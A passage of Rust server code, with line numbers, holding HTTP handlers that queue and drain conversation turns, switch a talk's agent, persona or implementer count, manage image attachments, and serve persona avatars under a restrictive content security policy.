9967    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9968        let turns = Arc::clone(&turn.turns);
9969        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9970        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9971            // Release under the arrival lock; a later `/say` takes its own claim.
9972            turn.release(&mut live);
9973            return false;
9974        }
9975    }
9976    let (started, settled) = tokio::sync::oneshot::channel();
9977    tokio::spawn(drain_loop_started(
9978        talk,
9979        talks,
9980        cfg,
9981        id,
9982        turn,
9983        Some(started),
9984    ));
9985    settled.await.unwrap_or(false)
9986}
9987
9988#[cfg(not(test))]
9989async fn drain_loop_started(
9990    talk: Talk,
9991    talks: Talks,
9992    _cfg: Config,
9993    id: String,
9994    turn: TalkTurnGuard,
9995    started: Option<tokio::sync::oneshot::Sender<bool>>,
9996) {
9997    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9998    let running = if pending {
9999        match crate::chat_worker::spawn_turn(&talks, &id).await {
10000            Ok(_) => true,
10001            Err(error) => {
10002                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10003                false
10004            }
10005        }
10006    } else {
10007        false
10008    };
10009    drop(turn);
10010    if let Some(started) = started {
10011        let _ = started.send(running);
10012    }
10013}
10014
10015// Existing in-process conversation tests exercise transcript/arrival ordering;
10016// real process-lifetime behavior is covered by the CLI integration tests.
10017#[cfg(test)]
10018async fn drain_loop_started(
10019    mut talk: Talk,
10020    talks: Talks,
10021    cfg: Config,
10022    id: String,
10023    turn: TalkTurnGuard,
10024    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10025) {
10026    let live_set = Arc::clone(&turn.turns);
10027    // `Option` rather than binding `turn` directly to a `_turn` that lives
10028    // for the whole function: releasing it has to happen by calling
10029    // `TalkTurnGuard::release` from inside the locked branch below, which
10030    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10031    // remove the id - correctly, if this loop is ever left some other way -
10032    // but doing it there misses the lock this loop is already holding, which
10033    // is the exact gap `release` exists to close.
10034    let mut turn = Some(turn);
10035    loop {
10036        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10037            // The lease was taken over while a turn ran. Whatever is queued
10038            // stays a draft; running it here would race the new owner.
10039            tracing::warn!("talk {id} lost its turn lease; not draining further");
10040            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10041            if let Some(turn) = turn.take() {
10042                turn.release(&mut live);
10043            }
10044            break;
10045        }
10046        // `talk::drain` takes the store lock and can write/rename the talk
10047        // file. Keep the turn mutex out of that synchronous work: it protects
10048        // every talk's in-memory claim, not this talk's disk operation.
10049        let observed = live_set
10050            .lock()
10051            .unwrap_or_else(PoisonError::into_inner)
10052            .queued
10053            .get(&id)
10054            .copied()
10055            .unwrap_or(0);
10056        let drained = blocking({
10057            let talks = talks.clone();
10058            move || {
10059                let result = talk::drain(&mut talk, &talks);
10060                Ok((talk, result))
10061            }
10062        })
10063        .await;
10064        let (next_talk, result) = match drained {
10065            Ok(drained) => drained,
10066            Err(e) => {
10067                tracing::warn!(
10068                    status = %e.status,
10069                    message = %e.message,
10070                    "talk {id} could not start queued-text drain"
10071                );
10072                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10073                turn.take()
10074                    .expect("held for the whole loop until released here")
10075                    .release(&mut live);
10076                break;
10077            }
10078        };
10079        talk = next_talk;
10080        let drained = match result {
10081            Ok(Some(drained)) => drained,
10082            Ok(None) => {
10083                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10084                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10085                    continue;
10086                }
10087                turn.take()
10088                    .expect("held for the whole loop until released here")
10089                    .release(&mut live);
10090                break;
10091            }
10092            Err(e) => {
10093                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10094                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10095                turn.take()
10096                    .expect("held for the whole loop until released here")
10097                    .release(&mut live);
10098                break;
10099            }
10100        };
10101        if let Some(started) = started.take() {
10102            let _ = started.send(true);
10103        }
10104        let responded = match turn.as_ref() {
10105            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10106            None => Err(anyhow::anyhow!("the turn guard was released")),
10107        };
10108        if let Err(e) = responded {
10109            tracing::warn!("talk {id} turn failed: {e:#}");
10110        }
10111    }
10112    drop(turn);
10113    if let Some(started) = started {
10114        let _ = started.send(false);
10115    }
10116}
10117
10118/// Clear a queued draft only if it remains exactly the one the caller saw.
10119async fn talk_pending_clear(
10120    State(ui): State<Arc<Ui>>,
10121    Path(id): Path<String>,
10122    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10123) -> ApiResult<Json<TalkView>> {
10124    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10125    blocking(move || {
10126        let id = resolve_talk(&ui.talks, &id)?;
10127        let mut talk = ui.talks.get(&id)?;
10128        if !talk.status.open() {
10129            return Err(ApiError::conflict(format!(
10130                "talk {} is {} and takes no more turns",
10131                talk.short(),
10132                talk.status.as_str()
10133            )));
10134        }
10135        if !talk::clear_pending_if_matches(
10136            &mut talk,
10137            &ui.talks,
10138            &body.expected_text,
10139            &body.expected_attachments,
10140        )? {
10141            return Err(ApiError::conflict(
10142                "queued message changed; reload it before clearing",
10143            ));
10144        }
10145        let thinking = ui.is_thinking(&talk.id);
10146        Ok(Json(TalkView::new(talk, thinking, &ui)))
10147    })
10148    .await
10149}
10150
10151/// Atomically edit a queued draft's text while preserving its attachments.
10152/// The snapshot fields make a concurrent queue or drain a conflict rather
10153/// than silently discarding either message.
10154async fn talk_pending_edit(
10155    State(ui): State<Arc<Ui>>,
10156    Path(id): Path<String>,
10157    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10158) -> ApiResult<Json<TalkView>> {
10159    let admission = ui.begin_admission()?;
10160    admitted(admission, async move {
10161        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10162        let id = {
10163            let ui = Arc::clone(&ui);
10164            blocking(move || resolve_talk(&ui.talks, &id)).await?
10165        };
10166        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10167            .await
10168            .map_err(ApiError::from)?;
10169        let (view, reclaimed) = blocking({
10170            let ui = Arc::clone(&ui);
10171            move || {
10172                let mut talk = ui.talks.get(&id)?;
10173                if !talk.status.open() {
10174                    return Err(ApiError::conflict(format!(
10175                        "talk {} is {} and takes no more turns",
10176                        talk.short(),
10177                        talk.status.as_str()
10178                    )));
10179                }
10180                if !talk::edit_pending_message(
10181                    &mut talk,
10182                    &ui.talks,
10183                    &body.text,
10184                    &body.expected_text,
10185                    &body.expected_attachments,
10186                    body.message,
10187                )? {
10188                    return Err(ApiError::conflict(
10189                        "queued message changed; reload it before editing",
10190                    ));
10191                }
10192                let claim = match ui.begin_queued_talk_turn(&id)? {
10193                    Some(turn_guard) => {
10194                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10195                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10196                    }
10197                    None => None,
10198                };
10199                let thinking = ui.is_thinking(&id);
10200                Ok((TalkView::new(talk, thinking, &ui), claim))
10201            }
10202        })
10203        .await?;
10204        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10205            let talks = ui.talks.clone();
10206            #[cfg(not(test))]
10207            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10208            #[cfg(test)]
10209            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10210        }
10211        Ok(Json(view))
10212    })
10213    .await
10214}
10215
10216/// The 409 for a talk that takes no more turns.
10217fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10218    if talk.status.open() {
10219        return Ok(());
10220    }
10221    Err(ApiError::conflict(format!(
10222        "talk {} is {} and takes no more turns",
10223        talk.short(),
10224        talk.status.as_str()
10225    )))
10226}
10227
10228/// The body of `POST /api/talks/{id}/agent`.
10229#[derive(Debug, Deserialize)]
10230struct TalkAgent {
10231    agent: String,
10232}
10233
10234/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10235/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10236/// start a turn on the old session between the check and the write; one that
10237/// arrives in that window finds the talk busy and becomes a draft.
10238async fn talk_agent(
10239    State(ui): State<Arc<Ui>>,
10240    Path(id): Path<String>,
10241    Json(body): Json<TalkAgent>,
10242) -> ApiResult<Json<TalkView>> {
10243    let admission = ui.begin_admission()?;
10244    admitted(admission, async move {
10245        let id = {
10246            let ui = Arc::clone(&ui);
10247            blocking(move || resolve_talk(&ui.talks, &id)).await?
10248        };
10249        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10250            .await
10251            .map_err(ApiError::from)?;
10252        let repo = {
10253            let ui = Arc::clone(&ui);
10254            let id = id.clone();
10255            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10256        };
10257        let cfg = config_for(&repo).await?;
10258        // Refuse before taking the claim; see `talk_implementers`.
10259        {
10260            let ui = Arc::clone(&ui);
10261            let id = id.clone();
10262            let cfg = cfg.clone();
10263            let wanted = body.agent.clone();
10264            blocking(move || {
10265                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10266                    .map_err(ApiError::bad_request_from)?;
10267                refuse_if_closed(&ui.talks.get(&id)?)
10268            })
10269            .await?;
10270        }
10271        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10272            return Err(ApiError::conflict(
10273                "a talk turn is running; change the agent once it has answered",
10274            ));
10275        };
10276        let switched = {
10277            let ui = Arc::clone(&ui);
10278            let id = id.clone();
10279            let cfg = cfg.clone();
10280            blocking(move || {
10281                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10282                    .map_err(ApiError::bad_request_from)?;
10283                let mut talk = ui.talks.get(&id)?;
10284                if !talk.status.open() {
10285                    return Err(ApiError::conflict(format!(
10286                        "talk {} is {} and takes no more turns",
10287                        talk.short(),
10288                        talk.status.as_str()
10289                    )));
10290                }
10291                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10292                Ok(talk)
10293            })
10294            .await
10295        };
10296        // A `/say` that landed while this held the claim saw the talk busy and
10297        // left a durable draft, trusting the claim's owner to drain it. So the
10298        // claim is settled whatever the outcome. Release an empty draft's claim
10299        // before replying; queued drafts continue independently of the handler.
10300        let observed = ui.queued_generation(&id);
10301        let fresh = {
10302            let ui = Arc::clone(&ui);
10303            let id = id.clone();
10304            blocking(move || Ok(ui.talks.get(&id)?)).await
10305        };
10306        let draining = match fresh {
10307            Ok(talk) => {
10308                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10309            }
10310            Err(_) => false,
10311        };
10312        let talk = switched?;
10313        Ok(Json(TalkView::new(talk, draining, &ui)))
10314    })
10315    .await
10316}
10317
10318/// The body of `POST /api/talks/{id}/persona`.
10319#[derive(Debug, Deserialize)]
10320struct TalkPersona {
10321    persona: String,
10322}
10323
10324/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10325/// like [`talk_agent`]: the turn guard is held for the change and always handed
10326/// to `drain_loop`, so a draft left meanwhile is not stranded.
10327async fn talk_persona(
10328    State(ui): State<Arc<Ui>>,
10329    Path(id): Path<String>,
10330    Json(body): Json<TalkPersona>,
10331) -> ApiResult<Json<TalkView>> {
10332    let admission = ui.begin_admission()?;
10333    admitted(admission, async move {
10334        let id = {
10335            let ui = Arc::clone(&ui);
10336            blocking(move || resolve_talk(&ui.talks, &id)).await?
10337        };
10338        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10339            .await
10340            .map_err(ApiError::from)?;
10341        let repo = {
10342            let ui = Arc::clone(&ui);
10343            let id = id.clone();
10344            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10345        };
10346        let cfg = config_for(&repo).await?;
10347        // Refuse before taking the claim; see `talk_implementers`.
10348        {
10349            let ui = Arc::clone(&ui);
10350            let id = id.clone();
10351            let cfg = cfg.clone();
10352            let wanted = body.persona.clone();
10353            blocking(move || {
10354                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10355                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10356                }
10357                refuse_if_closed(&ui.talks.get(&id)?)
10358            })
10359            .await?;
10360        }
10361        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10362            return Err(ApiError::conflict(
10363                "a talk turn is running; change the persona once it has answered",
10364            ));
10365        };
10366        let switched = {
10367            let ui = Arc::clone(&ui);
10368            let id = id.clone();
10369            let cfg = cfg.clone();
10370            blocking(move || {
10371                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10372                    return Err(ApiError::bad_request(format!(
10373                        "unknown persona `{}`",
10374                        body.persona
10375                    )));
10376                };
10377                let mut talk = ui.talks.get(&id)?;
10378                if !talk.status.open() {
10379                    return Err(ApiError::conflict(format!(
10380                        "talk {} is {} and takes no more turns",
10381                        talk.short(),
10382                        talk.status.as_str()
10383                    )));
10384                }
10385                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10386                Ok(talk)
10387            })
10388            .await
10389        };
10390        // As in `talk_agent`: settle the claim before replying, even on refusal.
10391        let observed = ui.queued_generation(&id);
10392        let fresh = {
10393            let ui = Arc::clone(&ui);
10394            let id = id.clone();
10395            blocking(move || Ok(ui.talks.get(&id)?)).await
10396        };
10397        let draining = match fresh {
10398            Ok(talk) => {
10399                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10400            }
10401            Err(_) => false,
10402        };
10403        let talk = switched?;
10404        Ok(Json(TalkView::new(talk, draining, &ui)))
10405    })
10406    .await
10407}
10408
10409/// The body of `POST /api/talks/{id}/implementers`.
10410#[derive(Debug, Deserialize)]
10411struct TalkImplementers {
10412    implementers: u8,
10413}
10414
10415/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10416/// like [`talk_agent`]: the turn guard is held for the change and always handed
10417/// to `drain_loop`, so a draft left meanwhile is not stranded.
10418async fn talk_implementers(
10419    State(ui): State<Arc<Ui>>,
10420    Path(id): Path<String>,
10421    Json(body): Json<TalkImplementers>,
10422) -> ApiResult<Json<TalkView>> {
10423    let admission = ui.begin_admission()?;
10424    admitted(admission, async move {
10425        let id = {
10426            let ui = Arc::clone(&ui);
10427            blocking(move || resolve_talk(&ui.talks, &id)).await?
10428        };
10429        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10430            .await
10431            .map_err(ApiError::from)?;
10432        let repo = {
10433            let ui = Arc::clone(&ui);
10434            let id = id.clone();
10435            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10436        };
10437        let cfg = config_for(&repo).await?;
10438        // Refuse a request that cannot succeed before taking the claim: a claim
10439        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10440        // moment, so a refusal would make the next request see "busy" instead of
10441        // its own answer. The checks after the claim stay the ones that decide.
10442        {
10443            let ui = Arc::clone(&ui);
10444            let id = id.clone();
10445            let cfg = cfg.clone();
10446            let wanted = body.implementers;
10447            blocking(move || {
10448                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10449                refuse_if_closed(&ui.talks.get(&id)?)
10450            })
10451            .await?;
10452        }
10453        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10454            return Err(ApiError::conflict(
10455                "a talk turn is running; change the implementers once it has answered",
10456            ));
10457        };
10458        let switched = {
10459            let ui = Arc::clone(&ui);
10460            let id = id.clone();
10461            let cfg = cfg.clone();
10462            blocking(move || {
10463                let chosen = talk::check_implementers(body.implementers, &cfg)
10464                    .map_err(ApiError::bad_request)?;
10465                let mut talk = ui.talks.get(&id)?;
10466                if !talk.status.open() {
10467                    return Err(ApiError::conflict(format!(
10468                        "talk {} is {} and takes no more turns",
10469                        talk.short(),
10470                        talk.status.as_str()
10471                    )));
10472                }
10473                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10474                Ok(talk)
10475            })
10476            .await
10477        };
10478        // As in `talk_agent`: settle the claim before replying, even on refusal.
10479        let observed = ui.queued_generation(&id);
10480        let fresh = {
10481            let ui = Arc::clone(&ui);
10482            let id = id.clone();
10483            blocking(move || Ok(ui.talks.get(&id)?)).await
10484        };
10485        let draining = match fresh {
10486            Ok(talk) => {
10487                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10488            }
10489            Err(_) => false,
10490        };
10491        let talk = switched?;
10492        Ok(Json(TalkView::new(talk, draining, &ui)))
10493    })
10494    .await
10495}
10496
10497/// `POST /api/talks/{id}/close`.
10498async fn talk_close(
10499    State(ui): State<Arc<Ui>>,
10500    Path(id): Path<String>,
10501) -> ApiResult<Json<TalkView>> {
10502    blocking(move || {
10503        let id = resolve_talk(&ui.talks, &id)?;
10504        let mut talk = ui.talks.get(&id)?;
10505        talk::close(&mut talk, &ui.talks).map_err(|error| {
10506            if error.is::<talk::ClosePendingInput>() {
10507                ApiError::conflict(format!("{error:#}"))
10508            } else {
10509                ApiError::from(error)
10510            }
10511        })?;
10512        let thinking = ui.is_thinking(&talk.id);
10513        Ok(Json(TalkView::new(talk, thinking, &ui)))
10514    })
10515    .await
10516}
10517
10518/// `POST /api/talks/{id}/reopen`.
10519async fn talk_reopen(
10520    State(ui): State<Arc<Ui>>,
10521    Path(id): Path<String>,
10522) -> ApiResult<Json<TalkView>> {
10523    blocking(move || {
10524        let id = resolve_talk(&ui.talks, &id)?;
10525        let mut talk = ui.talks.get(&id)?;
10526        talk::reopen(&mut talk, &ui.talks)?;
10527        let thinking = ui.is_thinking(&talk.id);
10528        Ok(Json(TalkView::new(talk, thinking, &ui)))
10529    })
10530    .await
10531}
10532
10533/// `DELETE /api/talks/{id}`.
10534///
10535/// Removes the conversation's record and artifacts outright, unlike
10536/// [`talk_close`] which keeps the record as history. A turn already in
10537/// flight is not refused here the way [`run_delete`] refuses a live run:
10538/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10539/// under [`Talks::guard`], that the record they are about to write back is
10540/// still there, so a delete racing a turn is safe without this route having
10541/// to know a turn is running at all.
10542async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10543    blocking(move || {
10544        let id = resolve_talk(&ui.talks, &id)?;
10545        ui.talks.remove(&id)?;
10546        Ok(StatusCode::NO_CONTENT)
10547    })
10548    .await
10549}
10550
10551fn talk_ids(root: &FsPath) -> Vec<String> {
10552    std::fs::read_dir(root)
10553        .into_iter()
10554        .flatten()
10555        .flatten()
10556        .filter_map(|e| {
10557            let path = e.path();
10558            if path.extension().is_some_and(|ext| ext == "json") {
10559                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10560            } else {
10561                None
10562            }
10563        })
10564        .collect()
10565}
10566
10567/// Expand an id or short id to exactly one talk id.
10568fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10569    if plain_record_id(id) && store.path_of(id).is_file() {
10570        return Ok(id.to_owned());
10571    }
10572    pick(talk_ids(store.root()), id, "talk")
10573}
10574
10575/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10576/// future `talk-say`.
10577async fn talk_attachment_post(
10578    State(ui): State<Arc<Ui>>,
10579    Path(id): Path<String>,
10580    headers: HeaderMap,
10581    body: Bytes,
10582) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10583    let mime = validate_attachment(&headers, &body)?;
10584    let name = filename_header(&headers);
10585    let data = body.to_vec();
10586    blocking(move || {
10587        let id = resolve_talk(&ui.talks, &id)?;
10588        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10589        Ok((StatusCode::CREATED, Json(att)))
10590    })
10591    .await
10592}
10593
10594/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10595/// `<img>` tag in the transcript.
10596async fn talk_attachment_get(
10597    State(ui): State<Arc<Ui>>,
10598    Path((id, att)): Path<(String, String)>,
10599) -> ApiResult<Response> {
10600    blocking(move || {
10601        let id = resolve_talk(&ui.talks, &id)?;
10602        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10603            return Err(ApiError::not_found(format!(
10604                "talk {id} has no attachment `{att}`"
10605            )));
10606        };
10607        Ok(attachment_response(&meta.mime, data))
10608    })
10609    .await
10610}
10611
10612/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10613/// the icon setting, so changing it changes the URL.
10614fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10615    let id = avatar_encode(&p.id);
10616    format!(
10617        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10618        persona_icon::fingerprint(
10619            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10620        )
10621    )
10622}
10623
10624#[derive(Debug, Default, Deserialize)]
10625struct AvatarQuery {
10626    persona: Option<String>,
10627    /// Set by the page after the first load failed: skip the `icon`.
10628    builtin: Option<String>,
10629}
10630
10631/// Served with every built-in avatar: it is an image, so nothing else may run.
10632const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10633
10634fn builtin_avatar(id: &str) -> Response {
10635    svg_avatar(persona_icon::builtin_svg(id))
10636}
10637
10638async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10639    raster_or_builtin(
10640        read_icon_file(&avatar_setting_path(&ui.home, None))
10641            .filter(|_| q.builtin.is_none())
10642            .as_deref(),
10643        persona_icon::operator_svg(),
10644    )
10645}
10646
10647fn svg_avatar(svg: &'static str) -> Response {
10648    (
10649        [
10650            (header::CONTENT_TYPE, "image/svg+xml"),
10651            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10652            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10653            (header::CACHE_CONTROL, "no-cache"),
10654        ],
10655        svg,
10656    )
10657        .into_response()
10658}
10659
10660fn avatar_encode(value: &str) -> String {
10661    value
10662        .bytes()
10663        .map(|b| {
10664            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10665                char::from(b).to_string()
10666            } else {
10667                format!("%{b:02X}")
10668            }
10669        })
10670        .collect()
10671}
10672
10673// Display-only overrides live outside configuration and conversation records.
10674fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10675    let Some(id) = persona else {
10676        return home.join("avatars/operator.data");
10677    };
10678    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10679    let mut path = home.join("avatars/personas");
10680    for chunk in encoded.as_bytes().chunks(100) {
10681        path.push(std::str::from_utf8(chunk).expect("hex"));
10682    }
10683    path.join("icon.data")
10684}
10685
10686fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10687    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10688        Some(value) if value == "builtin" => Some(String::new()),
10689        Some(value) => Some(value),
10690        None => configured.map(str::to_owned),
10691    }
10692}
10693
10694fn operator_icon_url(home: &FsPath) -> String {
10695    format!(
10696        "/avatars/operator.svg?v={}",
10697        persona_icon::fingerprint(
10698            read_icon_file(&avatar_setting_path(home, None))
10699                .as_deref()
10700                .or(Some(persona_icon::operator_svg()))
10701        )
10702    )
10703}
10704
10705fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10706    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10707        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10708            attachment_response(mime, bytes)
10709        }
10710        _ => svg_avatar(builtin),
10711    };
10712    response
10713        .headers_mut()
10714        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10715    response
10716}
10717
10718#[derive(Default, Deserialize)]
10719struct AvatarSettingsQuery {
10720    repo: Option<PathBuf>,
10721    persona: Option<String>,
10722    builtin: Option<String>,
10723    inherit: Option<String>,
10724}
10725
10726fn avatar_settings_specs(
10727    ui: &Ui,
10728    repo: Option<PathBuf>,
10729) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10730    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10731    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10732        .map(|cfg| cfg.talk.personas)
10733        .unwrap_or_default();
10734    Ok((repo, specs))
10735}
10736
10737fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10738    let Ok(entries) = std::fs::read_dir(path) else {
10739        return;
10740    };
10741    for entry in entries.flatten() {
10742        let name = entry.file_name().to_string_lossy().into_owned();
10743        if name == "icon.data" {
10744            let bytes: Option<Vec<u8>> = prefix
10745                .as_bytes()
10746                .chunks(2)
10747                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10748                .collect();
10749            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10750                out.push(id);
10751            }
10752        } else if name.len() <= 100
10753            && !name.is_empty()
10754            && name.bytes().all(|b| b.is_ascii_hexdigit())
10755            && entry.file_type().is_ok_and(|t| t.is_dir())
10756        {
10757            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10758        }
10759    }
10760}
10761
10762async fn avatar_settings_get(
10763    State(ui): State<Arc<Ui>>,
10764    Query(q): Query<AvatarSettingsQuery>,
10765) -> ApiResult<Json<serde_json::Value>> {
10766    blocking(move || {
10767        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10768        let mut catalog = persona::catalog(&specs);
10769        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10770        let mut saved = Vec::new();
10771        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10772        for id in saved {
10773            if !catalog.iter().any(|p| p.id == id) {
10774                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10775            }
10776        }
10777        let personas: Vec<_> = catalog.iter().map(|p| {
10778            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10779            let override_state = match saved.as_deref() {
10780                Some("builtin") => "builtin",
10781                Some(_) => "custom",
10782                None => "inherit",
10783            };
10784            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10785            serde_json::json!({"id":p.id,"name":p.name,
10786                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10787                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10788                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10789        }).collect();
10790        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10791    }).await
10792}
10793
10794async fn settings_persona_avatar(
10795    State(ui): State<Arc<Ui>>,
10796    Query(q): Query<AvatarSettingsQuery>,
10797) -> ApiResult<Response> {
10798    blocking(move || {
10799        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10800        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10801        let found = persona::find(&specs, id);
10802        let icon =
10803            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10804        Ok(raster_or_builtin(
10805            icon.as_deref().filter(|_| q.builtin.is_none()),
10806            persona_icon::builtin_svg(id),
10807        ))
10808    })
10809    .await
10810}
10811
10812fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10813    if q.persona
10814        .as_ref()
10815        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10816    {
10817        return Err(ApiError::bad_request("invalid persona id"));
10818    }
10819    Ok(())
10820}
10821
10822async fn avatar_settings_put(
10823    State(ui): State<Arc<Ui>>,
10824    Query(q): Query<AvatarSettingsQuery>,
10825    Json(upload): Json<MagiIconUpload>,
10826) -> ApiResult<Json<serde_json::Value>> {
10827    blocking(move || {
10828        validate_avatar_target(&q)?;
10829        save_icon_file(
10830            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10831            &upload.icon,
10832        )
10833        .map_err(ApiError::bad_request_from)?;
10834        Ok(Json(serde_json::json!({"saved":true})))
10835    })
10836    .await
10837}
10838
10839async fn avatar_settings_delete(
10840    State(ui): State<Arc<Ui>>,
10841    Query(q): Query<AvatarSettingsQuery>,
10842) -> ApiResult<Json<serde_json::Value>> {
10843    blocking(move || {
10844        validate_avatar_target(&q)?;
10845        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10846        if q.persona.is_some() && q.inherit.is_none() {
10847            atomic_icon_write(&path, "builtin")?;
10848        } else {
10849            match std::fs::remove_file(path) {
10850                Ok(()) => (),
10851                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10852                Err(e) => return Err(anyhow::Error::from(e).into()),
10853            }
10854        }
10855        Ok(Json(serde_json::json!({"saved":true})))
10856    })
10857    .await
10858}
10859
10860// The global MAGI icon is deliberately independent of repository configuration.
10861fn magi_icon_path(home: &FsPath) -> PathBuf {
10862    home.join("magi-icon.data")
10863}
10864
10865fn read_magi_icon(home: &FsPath) -> Option<String> {
10866    read_icon_file(&magi_icon_path(home))
10867}
10868
10869fn read_icon_file(path: &FsPath) -> Option<String> {
10870    let metadata = std::fs::metadata(path).ok()?;
10871    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10872        return None;
10873    }
10874    let file = std::fs::File::open(path).ok()?;
10875    use std::io::Read;
10876    let mut text = String::new();
10877    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10878        .read_to_string(&mut text)
10879        .ok()?;
10880    if text.len() > persona_icon::ICON_MAX_BYTES {
10881        return None;
10882    }
10883    if text == "builtin" {
10884        return Some(text);
10885    }
10886    validate_uploaded_icon(&text).ok()?;
10887    Some(text)
10888}
10889
10890fn magi_icon_url(home: &FsPath) -> String {
10891    format!(
10892        "/avatars/magi?v={}",
10893        persona_icon::fingerprint(read_magi_icon(home).as_deref())
